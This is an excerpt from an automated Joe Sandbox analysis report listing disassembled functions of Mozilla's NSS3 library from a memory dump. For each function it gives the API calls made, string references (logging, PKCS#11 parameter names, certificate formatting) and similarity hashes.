_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,all), ref: 6CB71F17
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CB71F34
PR_SetLogBuffering.NSS3(00004000), ref: 6CB71F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6CB71F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CB71F83
PR_SetLogFile.NSS3(00000000), ref: 6CB71FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6CB71FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6CB71FCB
free.MOZGLUE(00000000), ref: 6CB71FD2

Strings

NSPR_LOG_FILE, xrefs: 6CB71F69
all, xrefs: 6CB71F0E
timestamp, xrefs: 6CB71EC4
Unable to create nspr log file '%s', xrefs: 6CB71FB3
append, xrefs: 6CB71EE6
NSPR_LOG_MODULES, xrefs: 6CB71DAD
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6CB71E27
sync, xrefs: 6CB71E46
, %n, xrefs: 6CB71E6B
bufsize, xrefs: 6CB71E9B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 49494e2f07ab5a7f048ad92341e3f9998982bfdc41eeca44dc55fa35ef86bcda
Instruction ID: 63281faae626a9c3dd4e0446b0e51462946e78c7d689001f39b076c79e89bff6
Opcode Fuzzy Hash: 49494e2f07ab5a7f048ad92341e3f9998982bfdc41eeca44dc55fa35ef86bcda
Instruction Fuzzy Hash: 245180B1D002999BDF10DBE4CD54A9E77B8AF05309F184528EC2AEBA01F770E518CB72

Function 6CC56E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB0CA30: EnterCriticalSection.KERNEL32(?,?,?,6CB6F9C9,?,6CB6F4DA,6CB6F9C9,?,?,6CB3369A), ref: 6CB0CA7A
Part of subcall function 6CB0CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB0CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6CB1BE66), ref: 6CC56E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6CB1BE66), ref: 6CC56E98
sqlite3_snprintf.NSS3(?,00000000,6CCBAAF9,?,?,?,?,?,?,6CB1BE66), ref: 6CC56EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6CB1BE66), ref: 6CC56ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6CB1BE66), ref: 6CC56EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6CB1BE66), ref: 6CC56FA6
sqlite3_snprintf.NSS3(?,00000000,6CCBAAF9,00000000,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC56FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC57014
sqlite3_free.NSS3(00000000,?,?,?,?,6CB1BE66), ref: 6CC5701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CB1BE66), ref: 6CC57030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC5705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CB1BE66), ref: 6CC57079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC57097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CB1BE66), ref: 6CC570A0

Strings

winGetTempname2, xrefs: 6CC570C4
mz_etilqs_, xrefs: 6CC56F18
winGetTempname1, xrefs: 6CC5708F
winGetTempname4, xrefs: 6CC57046
winGetTempname5, xrefs: 6CC57071

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 8d23c44f4be646eace690484ca7d8038b8a5068282d9ed08d99b499711e8f143
Instruction ID: ef66b07c9f1b3dc5c4cf7f149a26961f0b5f3d48869ae156be0ec9f243e1db16
Opcode Fuzzy Hash: 8d23c44f4be646eace690484ca7d8038b8a5068282d9ed08d99b499711e8f143
Instruction Fuzzy Hash: 015168B1F105116BE70096309C51FBF36669BD2318F544638E80296BC2FB66A93E82E7

Function 6CBE4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000,00000000,00000001), ref: 6CBE5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2,00000000), ref: 6CBE5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CBE5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CBE50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB975C2), ref: 6CBE50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBE50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CBE5153
free.MOZGLUE(?), ref: 6CBE516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CBE517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBE5195

Strings

library=, xrefs: 6CBE5043
parameters=, xrefs: 6CBE506B
name=, xrefs: 6CBE5057
config=, xrefs: 6CBE509B
nss=, xrefs: 6CBE5083

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: b515e819ef4764878a12b2cd2d3bfec73f56a17a54f1588cd47dd815ec85ee25
Instruction ID: 6460edeac5b7bb5129a620bcd9f58ab726268802429c62646abc5d33adb791c3
Opcode Fuzzy Hash: b515e819ef4764878a12b2cd2d3bfec73f56a17a54f1588cd47dd815ec85ee25
Instruction Fuzzy Hash: 0051A3B5A412555BEB00DF249C41AAE37B89F0A788F140460EC19E7741FB35E919CBB7

Function 6CBB8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CBB8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBB8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB8EB3

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBB8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CBB8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CBB8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CBB8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CBB8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBB8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CBB8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CBB8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CBB8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CBB9047

Strings

pMechanism = 0x%p, xrefs: 6CBB8EE0
hWrappingKey = 0x%x, xrefs: 6CBB8F01, 6CBB8F11
(CK_INVALID_HANDLE), xrefs: 6CBB8EAC, 6CBB8F1F, 6CBB8F79
pWrappedKey = 0x%p, xrefs: 6CBB8FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6CBB9042
hKey = 0x%x, xrefs: 6CBB8F5B, 6CBB8F6B
C_WrapKey, xrefs: 6CBB8E71
pulWrappedKeyLen = 0x%p, xrefs: 6CBB8FC8
hSession = 0x%x, xrefs: 6CBB8E8E, 6CBB8E9E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 87d76055c2592787b84679e044b53746b0f248565f870adf8772240bec4a2ced
Instruction ID: 41f74cf2155aa17b82cd5a088f658c2d12ec8cc689f1c0147198d77214ecaf76
Opcode Fuzzy Hash: 87d76055c2592787b84679e044b53746b0f248565f870adf8772240bec4a2ced
Instruction Fuzzy Hash: 9C51E231A01187EBDB049F50DD58FAE7776EB4A30DF084425F508BBA12EF359919CBA2

Function 6CBE4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4C5B
PR_smprintf.NSS3(6CCBAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CBE4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CBD4F51,00000000), ref: 6CBE4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CBE4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CBE4DA2
free.MOZGLUE(?), ref: 6CBE4DB9
free.MOZGLUE(00000000), ref: 6CBE4DCF

Strings

timeout, xrefs: 6CBE4C91
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CBE4D9D
every, xrefs: 6CBE4CA1
0x%08lx=[%s %s], xrefs: 6CBE4D80
any, xrefs: 6CBE4C96
rootFlags, xrefs: 6CBE4D47
%s,%s, xrefs: 6CBE4C4B
rust, xrefs: 6CBE4D22
ootT, xrefs: 6CBE4D1A
slotFlags, xrefs: 6CBE4D34

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 835283579228d4d0ad7ababb0e8c76303c6d10095610757b23a4f47390954fa4
Instruction ID: fb959a98417367d8aee73c36a39385a0efd5bf2d6cda790b3b9db17cccca9ee0
Opcode Fuzzy Hash: 835283579228d4d0ad7ababb0e8c76303c6d10095610757b23a4f47390954fa4
Instruction Fuzzy Hash: 30417BB19001D16BDB115F999C41ABF3675EB9A788F148128EC1A5BB01EB31EC54CBD3

Function 6CB8DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CB8DDDE

Part of subcall function 6CBE0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB887ED,00000800,6CB7EF74,00000000), ref: 6CBE1000
Part of subcall function 6CBE0FF0: PR_NewLock.NSS3(?,00000800,6CB7EF74,00000000), ref: 6CBE1016
Part of subcall function 6CBE0FF0: PL_InitArenaPool.NSS3(00000000,security,6CB887ED,00000008,?,00000800,6CB7EF74,00000000), ref: 6CBE102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CB8DDF5

Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE10F3
Part of subcall function 6CBE10C0: EnterCriticalSection.KERNEL32(?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE110C
Part of subcall function 6CBE10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1141
Part of subcall function 6CBE10C0: PR_Unlock.NSS3(?,?,?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE1182
Part of subcall function 6CBE10C0: TlsGetValue.KERNEL32(?,6CB88802,00000000,00000008,?,6CB7EF74,00000000), ref: 6CBE119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CB8DE34
PR_Now.NSS3 ref: 6CB8DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CB8DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB8DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB8DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB8DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CB8DEF0
PR_smprintf.NSS3(6CCBAAF9,(NULL) (Validity Unknown)), ref: 6CB8DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB8DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CB8DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CB8DF33
free.MOZGLUE(00000000), ref: 6CB8DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CB8DF4B
free.MOZGLUE(00000000), ref: 6CB8DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB8DF8E

Strings

(NULL) (Validity Unknown), xrefs: 6CB8DEFA
%s%s, xrefs: 6CB8DEEB
{???}, xrefs: 6CB8DE8B

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: 483002d0046d4a052d7ded2928f5f2ebec5bfac5a9924b1df7268065332ffc7b
Instruction ID: 567f10df8998a1601c4718a60d0f6d8cc5cc10d00e39cffdba6ec0f5bff55e97
Opcode Fuzzy Hash: 483002d0046d4a052d7ded2928f5f2ebec5bfac5a9924b1df7268065332ffc7b
Instruction Fuzzy Hash: F951C5B1D011869BDF009F759C41AAF7AB8EF95758F14402AE809E7B01FB30D904CBE2

Function 6CBC2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CBC2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CBC2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CBC2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C,?,-00000001,00000000,?), ref: 6CBC2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CB94F1C,?,-00000001,00000000), ref: 6CBC2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CBC2EF8
PR_Unlock.NSS3(?), ref: 6CBC2F62
TlsGetValue.KERNEL32 ref: 6CBC2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CBC2F9E
PR_Unlock.NSS3(?), ref: 6CBC2FCA
TlsGetValue.KERNEL32 ref: 6CBC301A
EnterCriticalSection.KERNEL32(?), ref: 6CBC302E
PR_Unlock.NSS3(?), ref: 6CBC3066
PR_SetError.NSS3(00000000,00000000), ref: 6CBC3085
PR_Unlock.NSS3(?), ref: 6CBC30EC
TlsGetValue.KERNEL32 ref: 6CBC310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CBC3124
PR_Unlock.NSS3(?), ref: 6CBC314C

Part of subcall function 6CBA9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CBD379E,?,6CBA9568,00000000,?,6CBD379E,?,00000001,?), ref: 6CBA918D
Part of subcall function 6CBA9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CBD379E,?,6CBA9568,00000000,?,6CBD379E,?,00000001,?), ref: 6CBA91A0

Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707AD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707CD
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CB0204A), ref: 6CB707D6
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CB0204A), ref: 6CB707E4
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,6CB0204A), ref: 6CB70864
Part of subcall function 6CB707A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB70880
Part of subcall function 6CB707A0: TlsSetValue.KERNEL32(00000000,?,?,6CB0204A), ref: 6CB708CB
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708D7
Part of subcall function 6CB707A0: TlsGetValue.KERNEL32(?,?,6CB0204A), ref: 6CB708FB

PR_SetError.NSS3(00000000,00000000), ref: 6CBC316D

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 589befb716ebfca9751e39a862db53fa57320ec7bc1315544845a9c97a9e3974
Instruction ID: 6429eef50c892feea6140700442d48a840e44c725f8e4d8abe5e16b0edd0dfa2
Opcode Fuzzy Hash: 589befb716ebfca9751e39a862db53fa57320ec7bc1315544845a9c97a9e3974
Instruction Fuzzy Hash: 06F18BB1E00649AFEF00DF68D884B99BBB5FF09318F544169EC04A7711EB31E995CB92

Function 6CBBAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CBBAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBBAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBBAF83

Part of subcall function 6CC9D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC9D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBBAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CBBAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CBBAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CBBAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CBBB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CBBB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CBBB041

Strings

(CK_INVALID_HANDLE), xrefs: 6CBBAF7C
pParameter = 0x%p, xrefs: 6CBBAFB9
pulSignatureLen = 0x%p, xrefs: 6CBBB03C
C_SignMessage, xrefs: 6CBBAF41
pSignature = 0x%p, xrefs: 6CBBB023
pData = 0x%p, xrefs: 6CBBAFEF
ulDataLen = %d, xrefs: 6CBBB00A
ulParameterLen = 0x%p, xrefs: 6CBBAFD4
hSession = 0x%x, xrefs: 6CBBAF5E, 6CBBAF6E

Memory Dump Source

Source File: 00000000.00000002.2033879916.000000006CB01000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB00000, based on PE: true

Associated: 00000000.00000002.2033813916.000000006CB00000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034695600.000000006CC9F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034803942.000000006CCDE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034884102.000000006CCDF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034934288.000000006CCE0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2034999914.000000006CCE5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb00000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
API String ID: 1003633598-1612141141
